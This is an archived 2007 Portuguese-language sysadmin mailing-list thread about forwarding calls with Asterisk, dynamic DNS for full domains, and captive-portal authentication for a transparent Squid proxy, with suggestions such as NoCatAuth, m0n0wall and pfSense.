Se voce quiser trafegar dados  ? bem facil fazer um programa para
fazer esta "ponte" de serial para serial.

Agora se o esquema ? trafegar voz , eu creio que isso n?o ? viavel com
modems. Em teoria seria possivel, mas muito, muito dificil de fazer.

Voce deve procurar algo na linha do voip mesmo , com 2 interfaces FXO
dae voce programa neste gateway para fazer as chamadas de um para
outro.

Isto ? moleza em linux com asterisk , deve ter hardwares voips que
fazem tambem.

Gateway voip no Windows? voce t? de brincadeira, n?o ? mesmo ?

Em 25/04/07, Marcelo Coelho<marcelo at tpn.com.br> escreveu:
> E pra Windows, existe algum?
>
> Preciso apenas que o software atenda a chamada no modem da COM1 e fa?a
> uma liga??o usando o modem da COM2.
>
> Todos os programas que encontrei para Windows s?o feitos para VoIP.
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


-- 
Rubens Marins
Administrador de Sistemas
rubens.marins at gmail dot com


From aquino at ecosistemas.com.br  Wed Apr 25 16:41:59 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Wed, 25 Apr 2007 16:41:59 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
In-Reply-To: <200704251634.22434.lyra@pop-pr.rnp.br>
References: <462F9146.9080207@tpn.com.br>
	<462F9AC0.3050105@standardnet.com.br>	<462FA31D.1050008@tpn.com.br>
	<200704251634.22434.lyra@pop-pr.rnp.br>
Message-ID: <462FAF07.8020801@ecosistemas.com.br>


Boa tarde amigos da lista

  E seria possivel , por exemplo :


  A empresa  possui um plano de celular corporativo e a liga??o entre 
eles ? sem custo  , gostaria de configurar um "celular" deste na central 
( asterisk ) para rotear estes
chamados para ums dos celulares externos


 isso ? possivel ? com que tipo de equipamento podemos fazer isso ? que 
"celular" usar ?

Lucio

Christian Lyra escreveu:
> On Wednesday 25 April 2007 15:51, Marcelo Coelho wrote:
>   
>>  E pra Windows, existe algum?
>>
>>  Preciso apenas que o software atenda a chamada no modem da COM1 e
>> fa?a uma liga??o usando o modem da COM2.
>>
>>  Todos os programas que encontrei para Windows s?o feitos para VoIP.
>>     
>
>
> com porta COM n?o vai funcionar... vc precisa de placas FXO. 
>
> N?s fazemos o que vc quer fazer com o asterisk (linux ? claro). 
> Inclusive controlamos o numero de toques/mensagem de acordo com o 
> hor?rio (comercial ou n?o).
>
>   



From marcelo at standardnet.com.br  Wed Apr 25 17:14:34 2007
From: marcelo at standardnet.com.br (Marcelo Estanislau)
Date: Wed, 25 Apr 2007 17:14:34 -0300
Subject: [MASOCH-L] [off-topic] Software para encaminhar chamadas
In-Reply-To: <462FAF07.8020801@ecosistemas.com.br>
References: <462F9146.9080207@tpn.com.br>	<462F9AC0.3050105@standardnet.com.br>	<462FA31D.1050008@tpn.com.br>	<200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
Message-ID: <462FB6AA.8090201@standardnet.com.br>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

? poss?vel fazer isso usando o asterisk. Voc? precisaria apenas de um
adaptador para o celular. H? celulares com esses adaptadores, mas n?o
sei te dizer. Essa informa??o voc? consegue com quem trabalha com
centrais telef?nicas (PABX).

Att.

Marcelo Estanislau Geyer
marcelo at standardnet.com.br
Standard Net Tecnologia e Informa??o
http://www.standardnet.com.br
- --
PGP Key: http://www.keyserver.net - Key ID 0x5812DE5E


Lucio de Aquino Marinho escreveu:
> Boa tarde amigos da lista
> 
>   E seria possivel , por exemplo :
> 
> 
>   A empresa  possui um plano de celular corporativo e a liga??o entre 
> eles ? sem custo  , gostaria de configurar um "celular" deste na central 
> ( asterisk ) para rotear estes
> chamados para ums dos celulares externos
> 
> 
>  isso ? possivel ? com que tipo de equipamento podemos fazer isso ? que 
> "celular" usar ?
> 
> Lucio
> 
> Christian Lyra escreveu:
>> On Wednesday 25 April 2007 15:51, Marcelo Coelho wrote:
>>   
>>>  E pra Windows, existe algum?
>>>
>>>  Preciso apenas que o software atenda a chamada no modem da COM1 e
>>> fa?a uma liga??o usando o modem da COM2.
>>>
>>>  Todos os programas que encontrei para Windows s?o feitos para VoIP.
>>>     
>>
>> com porta COM n?o vai funcionar... vc precisa de placas FXO. 
>>
>> N?s fazemos o que vc quer fazer com o asterisk (linux ? claro). 
>> Inclusive controlamos o numero de toques/mensagem de acordo com o 
>> hor?rio (comercial ou n?o).
>>
>>   
> 
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.5 (GNU/Linux)
Comment: Using GnuPG with Mozilla - http://enigmail.mozdev.org

iQCVAwUBRi+2qo+bwQJYEt5eAQLzUgP/aqG9iNzEzj/Td9h0X3GaqiPDgNxPzJIm
kiCUG3eL/fiCbqEBkqChcTeTo0dA5WUGpheZiUFWSdSxQZhGdusZzg3B3vgNs/7c
pZRMCI6z5o2j1p9szMPxS2D1vh71ZnBtBT/y6te+asY3uxpndy0qbNy4Wz4WT2Ao
LRBYdz2y6sE=
=dT/8
-----END PGP SIGNATURE-----


From edison at coslinux.com.br  Wed Apr 25 18:45:09 2007
From: edison at coslinux.com.br (Edison Bortolin)
Date: Wed, 25 Apr 2007 14:45:09 -0700
Subject: [MASOCH-L] =?utf-8?q?Autentica=C3=A7=C3=A3o_via_WEB_para_proxy_tr?=
 =?utf-8?q?ansparente=2E?=
In-Reply-To: <462FB6AA.8090201@standardnet.com.br>
References: <462F9146.9080207@tpn.com.br>	<462F9AC0.3050105@standardnet.com.br>	<462FA31D.1050008@tpn.com.br>	<200704251634.22434.lyra@pop-pr.rnp.br>	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
Message-ID: <462FCBE5.3090401@coslinux.com.br>

Ol?,

Algu?m conhece algum outra solu??o alem do NatACL para "autenticar 
usu?rios para o squid" funcionando como proxy transparente?

Obrigado,

Edison


From rodrigo.trevisaneli at gmail.com  Wed Apr 25 19:52:46 2007
From: rodrigo.trevisaneli at gmail.com (Rodrigo Trevisaneli)
Date: Wed, 25 Apr 2007 19:52:46 -0300
Subject: [MASOCH-L] dns dinamico com fqdn
Message-ID: <3cc202850704251552j6e1c46a4sbe0bdfbc9bd4cbfc@mail.gmail.com>

http://www.no-ip.com/

> Message: 4
> Date: Tue, 24 Apr 2007 21:30:56 -0300
> From: "Rafael Possamai" <rafaelpossa at gmail.com>
> Subject: [MASOCH-L] dns din?mico com fqdn
> To: <masoch-l at eng.registro.br>
> Message-ID: <000e01c786d1$010dffd0$0200a8c0 at OASIS>
> Content-Type: text/plain;       charset="iso-8859-1"
>
> Ol?,
>
> Algu?m conhece um servi?o de dns din?mico que funcione com dom?nios qualificados tipo um .com.br? Em vez de ter um subdom?nio, por exemplo 123.dyndns.org, eu utilizo meu '123.com.br' e nas configura??es no registro.br eu utilizo os nameservers desse sistema.
>
>
> Grato,
> Rafael
>


From rafaelpossa at gmail.com  Wed Apr 25 21:02:15 2007
From: rafaelpossa at gmail.com (Rafael Possamai)
Date: Wed, 25 Apr 2007 21:02:15 -0300
Subject: [MASOCH-L] dns dinamico com fqdn
References: <3cc202850704251552j6e1c46a4sbe0bdfbc9bd4cbfc@mail.gmail.com>
Message-ID: <00f501c78796$29c355e0$0200a8c0@OASIS>

no no-ip dns dinamico com fqdn  ? pago pelo que eu sei... gr?tis s? aqueles 
subdom?nios, ou eles tem algo parecido?

----- Original Message ----- 
From: "Rodrigo Trevisaneli" <rodrigo.trevisaneli at gmail.com>
Subject: Re: [MASOCH-L] dns dinamico com fqdn


> http://www.no-ip.com/
> 


From danton at inexo.com.br  Wed Apr 25 21:33:31 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Wed, 25 Apr 2007 21:33:31 -0300 (BRT)
Subject: [MASOCH-L]
 =?utf-8?q?Autentica=C3=A7=C3=A3o_via_WEB_para_proxy_tr?=
 =?utf-8?q?ansparente=2E?=
In-Reply-To: <462FCBE5.3090401@coslinux.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
Message-ID: <Pine.LNX.4.60.0704252131310.26799@newquantum.inexo.com.br>

On Wed, 25 Apr 2007, Edison Bortolin wrote:

> Ol?,
> 
> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar 
> usu?rios para o squid" funcionando como proxy transparente?

em proxy transparente a conversa acaba na camada 3 (IP) e n?o existe o 
conceito de usu?rio nessa camada, logo, n?o h? como autenticar usu?rios 
nesse contexto. podem haver gambiarras que associam usu?rios a endere?os 
IP dentro de hip?teses ad hoc muito porcas, mas n?o passam de gambiarras.


From brandao at gmail.com  Thu Apr 26 21:54:36 2007
From: brandao at gmail.com (=?ISO-8859-1?Q?Antonio_Jos=E9_dos_Santos_Brand=E3o?=)
Date: Thu, 26 Apr 2007 21:54:36 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
	=?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <462FCBE5.3090401@coslinux.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
Message-ID: <cb4a11a60704261754w47718974r6ec68b18e7944ffd@mail.gmail.com>

Vc pode montar um iptables REDIRECT para uma pagina de autenticacao
(em php por exemplo) que libera a navega??o, jogando para o proxy
transparente e gera um arquivo de log de quem ta logado.

No squid, se vc precisar tratar diferentemente cada usuario, vc cria
uma acl externa que roda um script, faz o tratamento e retorna se o IP
de origem pertence a usuario master, comum, anonimo, etc.
-- 
Antonio J. S. Brand?o


On 4/25/07, Edison Bortolin <edison at coslinux.com.br> wrote:
> Ol?,
>
> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar
> usu?rios para o squid" funcionando como proxy transparente?
>
> Obrigado,
>
> Edison
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From edu.sistemas at gmail.com  Thu Apr 26 22:20:30 2007
From: edu.sistemas at gmail.com (Carlos Eduardo Pereira)
Date: Thu, 26 Apr 2007 22:20:30 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
	=?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <cb4a11a60704261754w47718974r6ec68b18e7944ffd@mail.gmail.com>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<cb4a11a60704261754w47718974r6ec68b18e7944ffd@mail.gmail.com>
Message-ID: <6fcb787a0704261820l6c702a15s51e70d57b490bfda@mail.gmail.com>

Ola,

alguma documenta?ao com essa solu??o?


On 4/26/07, Antonio Jos? dos Santos Brand?o <brandao at gmail.com> wrote:
>
> Vc pode montar um iptables REDIRECT para uma pagina de autenticacao
> (em php por exemplo) que libera a navega??o, jogando para o proxy
> transparente e gera um arquivo de log de quem ta logado.
>
> No squid, se vc precisar tratar diferentemente cada usuario, vc cria
> uma acl externa que roda um script, faz o tratamento e retorna se o IP
> de origem pertence a usuario master, comum, anonimo, etc.
> --
> Antonio J. S. Brand?o
>
>
> On 4/25/07, Edison Bortolin <edison at coslinux.com.br> wrote:
> > Ol?,
> >
> > Algu?m conhece algum outra solu??o alem do NatACL para "autenticar
> > usu?rios para o squid" funcionando como proxy transparente?
> >
> > Obrigado,
> >
> > Edison
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From danton at inexo.com.br  Thu Apr 26 22:30:47 2007
From: danton at inexo.com.br (Lao DanTong)
Date: Thu, 26 Apr 2007 22:30:47 -0300 (BRT)
Subject: [MASOCH-L]
 =?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
 =?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <cb4a11a60704261754w47718974r6ec68b18e7944ffd@mail.gmail.com>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<cb4a11a60704261754w47718974r6ec68b18e7944ffd@mail.gmail.com>
Message-ID: <Pine.LNX.4.60.0704262228001.13646@newquantum.inexo.com.br>

On Thu, 26 Apr 2007, Antonio Jos? dos Santos Brand?o wrote:

> No squid, se vc precisar tratar diferentemente cada usuario, vc cria
> uma acl externa que roda um script, faz o tratamento e retorna se o IP
> de origem pertence a usuario master, comum, anonimo, etc.

a? ? que mora o perigo: imaginar que usu?rio = IP. essa ? uma hip?tese de 
modo geral falsa. se voc? quer autenticar, use proxy opaco e bloqueie a 
sa?da regular, de modo que ou usa o proxy ou n?o navega.


From brandao at gmail.com  Thu Apr 26 23:29:27 2007
From: brandao at gmail.com (=?ISO-8859-1?Q?Antonio_Jos=E9_dos_Santos_Brand=E3o?=)
Date: Thu, 26 Apr 2007 23:29:27 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
	=?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <Pine.LNX.4.60.0704262228001.13646@newquantum.inexo.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<cb4a11a60704261754w47718974r6ec68b18e7944ffd@mail.gmail.com>
	<Pine.LNX.4.60.0704262228001.13646@newquantum.inexo.com.br>
Message-ID: <cb4a11a60704261929r5bcb0ff6pa165136a75f0ebf3@mail.gmail.com>

Quando o usu?rio autentica via web no 'portal e autenticacao'  vc
associa o usuario ao IP (e libera no firewall o ip e mac). Isso fica
gravado. A acl externa do squid consulta o ip pra ver se ? de um dos
usu?rio logados e de que tipo.

O ip pode mudar sem problemas, mas da? ele vai ter que se
re-autenticar. Se algum usu?rio mudar o ip da propria maquina para um
dos ips ja liberados dai nao bate o MAC. Daria pra ele mudar mac da
placa, mas j? um pouco mais dificil.

Vc pode, inclusive, usar o modulo recent do iptables para deslogar o
usu?rio por inatividade.

Tenho isso rodando em alguns cen?rios. Funciona...

-- 
Antonio J. S. Brand?o

On 4/26/07, Lao DanTong <danton at inexo.com.br> wrote:
> On Thu, 26 Apr 2007, Antonio Jos? dos Santos Brand?o wrote:
>
> > No squid, se vc precisar tratar diferentemente cada usuario, vc cria
> > uma acl externa que roda um script, faz o tratamento e retorna se o IP
> > de origem pertence a usuario master, comum, anonimo, etc.
>
> a? ? que mora o perigo: imaginar que usu?rio = IP. essa ? uma hip?tese de
> modo geral falsa. se voc? quer autenticar, use proxy opaco e bloqueie a
> sa?da regular, de modo que ou usa o proxy ou n?o navega.
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>


From marcelo at experimental.fm.usp.br  Fri Apr 27 08:04:11 2007
From: marcelo at experimental.fm.usp.br (Marcelo Salavee Lemos)
Date: Fri, 27 Apr 2007 08:04:11 -0300
Subject: [MASOCH-L]
 =?utf-8?q?Autentica=C3=A7=C3=A3o_via_WEB_para_proxy_tr?=
 =?utf-8?q?ansparente=2E?=
In-Reply-To: <462FCBE5.3090401@coslinux.com.br>
References: <462F9146.9080207@tpn.com.br>	<462F9AC0.3050105@standardnet.com.br>	<462FA31D.1050008@tpn.com.br>	<200704251634.22434.lyra@pop-pr.rnp.br>	<462FAF07.8020801@ecosistemas.com.br>	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
Message-ID: <4631D8AB.1050903@experimental.fm.usp.br>

Edison,


D? uma olhada em "NoCatAuth"

Abra?os,
Ultra7

Edison Bortolin wrote:
> Ol?,
>
> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar 
> usu?rios para o squid" funcionando como proxy transparente?
>
> Obrigado,
>
> Edison
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   


---------------------------------------------------------------------
Esta mensagem pode conter informacao confidencial.
Se voce nao for o destinatario ou a pessoa autorizada a receber
esta mensagem, nao podera usar, copiar ou divulgar as informacoes nela
contidas ou tomar qualquer acao baseada nessas informacoes. Se
voce recebeu esta mensagem por engano, favor avisar imediatamente o
remetente, respondendo o e-mail e, em seguida, apague-o.
Agradecemos sua cooperacao.

This message may contain confidential information.
If you are not the addressee or authorized person to receive it for the
addressee, you must not use, copy, disclose or take any action based on
this message or any information herein. If you have received this message
in error, please advise the sender immediately by replying this e-mail 
message and delete it.
Thanks in advance for your cooperation.
----------------------------------------------------------------------
                  LIM20 Faculdade de Medicina USP
----------------------------------------------------------------------



From aquino at ecosistemas.com.br  Fri Apr 27 08:08:37 2007
From: aquino at ecosistemas.com.br (Lucio de Aquino Marinho)
Date: Fri, 27 Apr 2007 08:08:37 -0300
Subject: [MASOCH-L]
 =?utf-8?q?Autentica=C3=A7=C3=A3o_via_WEB_para_proxy_tr?=
 =?utf-8?q?ansparente=2E?=
In-Reply-To: <4631D8AB.1050903@experimental.fm.usp.br>
References: <462F9146.9080207@tpn.com.br>	<462F9AC0.3050105@standardnet.com.br>	<462FA31D.1050008@tpn.com.br>	<200704251634.22434.lyra@pop-pr.rnp.br>	<462FAF07.8020801@ecosistemas.com.br>	<462FB6AA.8090201@standardnet.com.br>	<462FCBE5.3090401@coslinux.com.br>
	<4631D8AB.1050903@experimental.fm.usp.br>
Message-ID: <4631D9B5.7090208@ecosistemas.com.br>


Bom dia Amigos da Lista

  esta solu??o esta com cara de captive portal , nesta seara temos o 
m0n0wall , pequeno , r?pido e com muitas features interessante , valida 
no radius , seta a banda de download , upload , etc . Vale uma espiada


m0n0wall already provides many of the features of expensive commercial 
firewalls, including:

    * web interface (supports SSL)
    * serial console interface for recovery
          o set LAN IP address
          o reset password
          o restore factory defaults
          o reboot system
    * wireless support (access point with PRISM-II/2.5/3 cards, BSS/IBSS
      with other cards including Cisco)
    * captive portal
    * 802.1Q VLAN support
    * stateful packet filtering
          o block/pass rules
          o logging
    * NAT/PAT (including 1:1)
    * DHCP client, PPPoE, PPTP and Telstra BigPond Cable support on the
      WAN interface
    * IPsec VPN tunnels (IKE; with support for hardware crypto cards,
      mobile clients and certificates)
    * PPTP VPN (with RADIUS server support)
    * static routes
    * DHCP server and relay
    * caching DNS forwarder
    * DynDNS client and RFC 2136 DNS updater
    * SNMP agent
    * traffic shaper
    * SVG-based traffic grapher
    * firmware upgrade through the web browser
    * Wake on LAN client
    * configuration backup/restore
    * host/network aliases





Marcelo Salavee Lemos escreveu:
> Edison,
>
>
> D? uma olhada em "NoCatAuth"
>
> Abra?os,
> Ultra7
>
> Edison Bortolin wrote:
>   
>> Ol?,
>>
>> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar 
>> usu?rios para o squid" funcionando como proxy transparente?
>>
>> Obrigado,
>>
>> Edison
>> __
>> masoch-l list
>> https://eng.registro.br/mailman/listinfo/masoch-l
>>   
>>     
>
>
> ---------------------------------------------------------------------
> Esta mensagem pode conter informacao confidencial.
> Se voce nao for o destinatario ou a pessoa autorizada a receber
> esta mensagem, nao podera usar, copiar ou divulgar as informacoes nela
> contidas ou tomar qualquer acao baseada nessas informacoes. Se
> voce recebeu esta mensagem por engano, favor avisar imediatamente o
> remetente, respondendo o e-mail e, em seguida, apague-o.
> Agradecemos sua cooperacao.
>
> This message may contain confidential information.
> If you are not the addressee or authorized person to receive it for the
> addressee, you must not use, copy, disclose or take any action based on
> this message or any information herein. If you have received this message
> in error, please advise the sender immediately by replying this e-mail 
> message and delete it.
> Thanks in advance for your cooperation.
> ----------------------------------------------------------------------
>                   LIM20 Faculdade de Medicina USP
> ----------------------------------------------------------------------
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>   



From marcelomf at gmail.com  Fri Apr 27 08:20:25 2007
From: marcelomf at gmail.com (Marcelo M. Fleury)
Date: Fri, 27 Apr 2007 08:20:25 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
	=?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <4631D9B5.7090208@ecosistemas.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<4631D8AB.1050903@experimental.fm.usp.br>
	<4631D9B5.7090208@ecosistemas.com.br>
Message-ID: <aecb138d0704270420m24f53881qa2e24b72c07f150f@mail.gmail.com>

Bom dia,

Acredito que esse artigo possa te ajudar:
http://gbr.g8nic.com.br/meusArtigos/nocat.txt

um amigo que escreveu, caso voc? tenha alguma duvida, n?o hesite em
perguntar! Com certeza quando ele tiver um tempo ele vai responder. Abra?os
e boa sorte!

On 4/27/07, Lucio de Aquino Marinho <aquino at ecosistemas.com.br> wrote:
>
>
> Bom dia Amigos da Lista
>
>   esta solu??o esta com cara de captive portal , nesta seara temos o
> m0n0wall , pequeno , r?pido e com muitas features interessante , valida
> no radius , seta a banda de download , upload , etc . Vale uma espiada
>
>
> m0n0wall already provides many of the features of expensive commercial
> firewalls, including:
>
>     * web interface (supports SSL)
>     * serial console interface for recovery
>           o set LAN IP address
>           o reset password
>           o restore factory defaults
>           o reboot system
>     * wireless support (access point with PRISM-II/2.5/3 cards, BSS/IBSS
>       with other cards including Cisco)
>     * captive portal
>     * 802.1Q VLAN support
>     * stateful packet filtering
>           o block/pass rules
>           o logging
>     * NAT/PAT (including 1:1)
>     * DHCP client, PPPoE, PPTP and Telstra BigPond Cable support on the
>       WAN interface
>     * IPsec VPN tunnels (IKE; with support for hardware crypto cards,
>       mobile clients and certificates)
>     * PPTP VPN (with RADIUS server support)
>     * static routes
>     * DHCP server and relay
>     * caching DNS forwarder
>     * DynDNS client and RFC 2136 DNS updater
>     * SNMP agent
>     * traffic shaper
>     * SVG-based traffic grapher
>     * firmware upgrade through the web browser
>     * Wake on LAN client
>     * configuration backup/restore
>     * host/network aliases
>
>
>
>
>
> Marcelo Salavee Lemos escreveu:
> > Edison,
> >
> >
> > D? uma olhada em "NoCatAuth"
> >
> > Abra?os,
> > Ultra7
> >
> > Edison Bortolin wrote:
> >
> >> Ol?,
> >>
> >> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar
> >> usu?rios para o squid" funcionando como proxy transparente?
> >>
> >> Obrigado,
> >>
> >> Edison
> >> __
> >> masoch-l list
> >> https://eng.registro.br/mailman/listinfo/masoch-l
> >>
> >>
> >
> >
> > ---------------------------------------------------------------------
> > Esta mensagem pode conter informacao confidencial.
> > Se voce nao for o destinatario ou a pessoa autorizada a receber
> > esta mensagem, nao podera usar, copiar ou divulgar as informacoes nela
> > contidas ou tomar qualquer acao baseada nessas informacoes. Se
> > voce recebeu esta mensagem por engano, favor avisar imediatamente o
> > remetente, respondendo o e-mail e, em seguida, apague-o.
> > Agradecemos sua cooperacao.
> >
> > This message may contain confidential information.
> > If you are not the addressee or authorized person to receive it for the
> > addressee, you must not use, copy, disclose or take any action based on
> > this message or any information herein. If you have received this
> message
> > in error, please advise the sender immediately by replying this e-mail
> > message and delete it.
> > Thanks in advance for your cooperation.
> > ----------------------------------------------------------------------
> >                   LIM20 Faculdade de Medicina USP
> > ----------------------------------------------------------------------
> >
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>



-- 
Att, Marcelo M. Fleury
Linux User: #369521
Site Pessoal -  http://mmf.massau.com.br
Public Key - http://www.massau.com.br/mmf/pk_mmf.html

* A diferen?a est? no desconhecido.


From marcelomf at gmail.com  Fri Apr 27 08:25:12 2007
From: marcelomf at gmail.com (Marcelo M. Fleury)
Date: Fri, 27 Apr 2007 08:25:12 -0300
Subject: [MASOCH-L]
	=?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
	=?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <4631D9B5.7090208@ecosistemas.com.br>
References: <462F9146.9080207@tpn.com.br> <462F9AC0.3050105@standardnet.com.br>
	<462FA31D.1050008@tpn.com.br> <200704251634.22434.lyra@pop-pr.rnp.br>
	<462FAF07.8020801@ecosistemas.com.br>
	<462FB6AA.8090201@standardnet.com.br>
	<462FCBE5.3090401@coslinux.com.br>
	<4631D8AB.1050903@experimental.fm.usp.br>
	<4631D9B5.7090208@ecosistemas.com.br>
Message-ID: <aecb138d0704270425x646a5df6rcda390780b9b661c@mail.gmail.com>

Bom dia,

Acredito que esse artigo possa te ajudar:
http://gbr.g8nic.com.br/meusArtigos/nocat.txt

um amigo que escreveu, caso voc? tenha alguma duvida, n?o hesite em
perguntar! Com certeza quando ele tiver um tempo ele vai responder. Abra?os
e boa sorte!

On 4/27/07, Lucio de Aquino Marinho <aquino at ecosistemas.com.br> wrote:
>
>
> Bom dia Amigos da Lista
>
>   esta solu??o esta com cara de captive portal , nesta seara temos o
> m0n0wall , pequeno , r?pido e com muitas features interessante , valida
> no radius , seta a banda de download , upload , etc . Vale uma espiada
>
>
> m0n0wall already provides many of the features of expensive commercial
> firewalls, including:
>
>     * web interface (supports SSL)
>     * serial console interface for recovery
>           o set LAN IP address
>           o reset password
>           o restore factory defaults
>           o reboot system
>     * wireless support (access point with PRISM-II/2.5/3 cards, BSS/IBSS
>       with other cards including Cisco)
>     * captive portal
>     * 802.1Q VLAN support
>     * stateful packet filtering
>           o block/pass rules
>           o logging
>     * NAT/PAT (including 1:1)
>     * DHCP client, PPPoE, PPTP and Telstra BigPond Cable support on the
>       WAN interface
>     * IPsec VPN tunnels (IKE; with support for hardware crypto cards,
>       mobile clients and certificates)
>     * PPTP VPN (with RADIUS server support)
>     * static routes
>     * DHCP server and relay
>     * caching DNS forwarder
>     * DynDNS client and RFC 2136 DNS updater
>     * SNMP agent
>     * traffic shaper
>     * SVG-based traffic grapher
>     * firmware upgrade through the web browser
>     * Wake on LAN client
>     * configuration backup/restore
>     * host/network aliases
>
>
>
>
>
> Marcelo Salavee Lemos escreveu:
> > Edison,
> >
> >
> > D? uma olhada em "NoCatAuth"
> >
> > Abra?os,
> > Ultra7
> >
> > Edison Bortolin wrote:
> >
> >> Ol?,
> >>
> >> Algu?m conhece algum outra solu??o alem do NatACL para "autenticar
> >> usu?rios para o squid" funcionando como proxy transparente?
> >>
> >> Obrigado,
> >>
> >> Edison
> >> __
> >> masoch-l list
> >> https://eng.registro.br/mailman/listinfo/masoch-l
> >>
> >>
> >
> >
> > ---------------------------------------------------------------------
> > Esta mensagem pode conter informacao confidencial.
> > Se voce nao for o destinatario ou a pessoa autorizada a receber
> > esta mensagem, nao podera usar, copiar ou divulgar as informacoes nela
> > contidas ou tomar qualquer acao baseada nessas informacoes. Se
> > voce recebeu esta mensagem por engano, favor avisar imediatamente o
> > remetente, respondendo o e-mail e, em seguida, apague-o.
> > Agradecemos sua cooperacao.
> >
> > This message may contain confidential information.
> > If you are not the addressee or authorized person to receive it for the
> > addressee, you must not use, copy, disclose or take any action based on
> > this message or any information herein. If you have received this
> message
> > in error, please advise the sender immediately by replying this e-mail
> > message and delete it.
> > Thanks in advance for your cooperation.
> > ----------------------------------------------------------------------
> >                   LIM20 Faculdade de Medicina USP
> > ----------------------------------------------------------------------
> >
> > __
> > masoch-l list
> > https://eng.registro.br/mailman/listinfo/masoch-l
> >
>
> __
> masoch-l list
> https://eng.registro.br/mailman/listinfo/masoch-l
>



-- 
Att, Marcelo M. Fleury
Linux User: #369521
Site Pessoal -  http://mmf.massau.com.br
Public Key - http://www.massau.com.br/mmf/pk_mmf.html

* A diferen?a est? no desconhecido.


From giulianocm at uol.com.br  Fri Apr 27 08:19:18 2007
From: giulianocm at uol.com.br (GIULIANO (UOL))
Date: Fri, 27 Apr 2007 08:19:18 -0300
Subject: [MASOCH-L]
 =?iso-8859-1?q?Autentica=E7=E3o_via_WEB_para_proxy_tra?=
 =?iso-8859-1?q?nsparente=2E?=
In-Reply-To: <aecb138d0704270420m24f53881qa2e24b72c07f150f@mail.gmail.com>
References: <462F9146.9080207@tpn.com.br>
	<462F9AC0.3050105@standardnet.com.br>	<462FA31D.1050008@tpn.com.br>
	<200704251634.22434.lyra@pop-pr.rnp.br>	<462FAF07.8020801@ecosistemas.com.br>	<462FB6AA.8090201@standardnet.com.br>	<462FCBE5.3090401@coslinux.com.br>	<4631D8AB.1050903@experimental.fm.usp.br>	<4631D9B5.7090208@ecosistemas.com.br>
	<aecb138d0704270420m24f53881qa2e24b72c07f150f@mail.gmail.com>
Message-ID: <4631DC36.6040505@uol.com.br>

Tem tambem o pfsense:

http://www.pfsense.com/

